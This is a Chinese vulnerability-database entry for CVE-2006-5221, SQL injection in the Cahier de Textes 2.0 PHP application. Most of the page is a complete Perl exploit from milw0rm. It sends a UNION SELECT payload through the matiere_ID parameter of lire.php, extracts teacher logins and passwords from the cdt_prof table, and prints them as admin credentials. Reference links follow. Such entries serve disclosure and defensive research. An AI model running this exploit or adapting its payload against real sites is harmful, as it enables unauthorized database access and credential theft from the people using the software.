Cahier De Textes 多个SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111208 漏洞类型 SQL注入
发布时间 2006-10-07 更新时间 2007-02-20
CVE编号 CVE-2006-5221 CNNVD-ID CNNVD-200610-088
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2485
https://www.securityfocus.com/bid/20389
https://cxsecurity.com/issue/WLB-2006100066
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-088
|漏洞详情
Cahierdetexte2.0中存在多个SQL注入漏洞,远程攻击者可以通过(1)lire.php中的matiere_ID参数或(2)lire_a_faire.php中的classe_ID参数执行任意SQL命令。
|漏洞EXP
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#             Cahier  de  textes  
#   Pierre Lemaitre - St Lô (France) - Ver 2.0
#           
#          Remote SQL injection Exploit
#
#              Discovred By s4mi
#           s4mi[at]linuxmail[dot]org
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# exploit Coded by simo64
#
# all thanks to simo64,drackanz,hardose,r00t 
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
#
#!/usr/bin/perl

use IO::Socket ;

&header();

&usage unless(defined($ARGV[0] && $ARGV[1]));

$host = $ARGV[0];
$path = $ARGV[1];

syswrite STDOUT ,"\nConnecting ...";

my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",);
								
die "\nUnable to connect to $host\n" unless($sock);

syswrite STDOUT, "[OK]";

$inject = "1&matiere_ID=-1+union%20select%20null,CONCAT(nom_prof,CHAR(58),CHAR(58),passe)%20FROM%20cdt_prof/*";	

syswrite STDOUT ,"\nSending Data ...";

print $sock "GET $path/lire.php?classe_ID=1&matiere_ID=$inject HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Connection: Close\n\n";

syswrite STDOUT ,"[OK]\n\n";

	while($res = <$sock>){
	#print $res;sleep(1);
		if($res =~ /class="Style6">(.*?)::(.*?)<\/td>/){
			print "Exploit Succeded !\n\n";sleep(1);
			$userlogin = $1 ;
			$userpass  = $2;
			print "adminlogin  : $userlogin\n";sleep(1);
			print "adminpasswd : $userpass\n";sleep(1);
			$succeded = "ok";
			}
		}
if(!defined($succeded)) {print "\nExploit Failed\n";} else {print "\nEnjoy ;)";}

sub usage{
	print "\nUsage   : perl $0 host /path/ ";
	print "\nExemple : perl $0 www.victime.net /cahier/\n";
	exit(0);
}
sub header(){
print q(
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
            Cahier  de  textes  v2.0 
   Pierre Lemaitre - St Lô (France) - Ver 2.0

       Remote SQL injection Exploit by s4mi
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
);
}

# milw0rm.com [2006-10-07]
|受影响的产品
Cahier de textes Cahier de texte 2.0
|参考资料

来源:BID
名称:20389
链接:http://www.securityfocus.com/bid/20389
来源:XF
名称:cahierdetexte-lire-sql-injection(29388)
链接:http://xforce.iss.net/xforce/xfdb/29388
来源:BUGTRAQ
名称:20061007Cahierdetextes2.0RemoteSQLinjectionExploit
链接:http://www.securityfocus.com/archive/1/archive/1/447933/100/0/threaded
来源:MILW0RM
名称:2485
链接:http://www.milw0rm.com/exploits/2485
来源:VUPEN
名称:ADV-2006-3949
链接:http://www.frsirt.com/english/advisories/2006/3949
来源:SECUNIA
名称:22319
链接:http://secunia.com/advisories/22319
来源:SREASON
名称:1701
链接:http://securityreason.com/securityalert/1701
来源:MILW0RM
名称:2485
链接:http://milw0rm.com/exploits/2485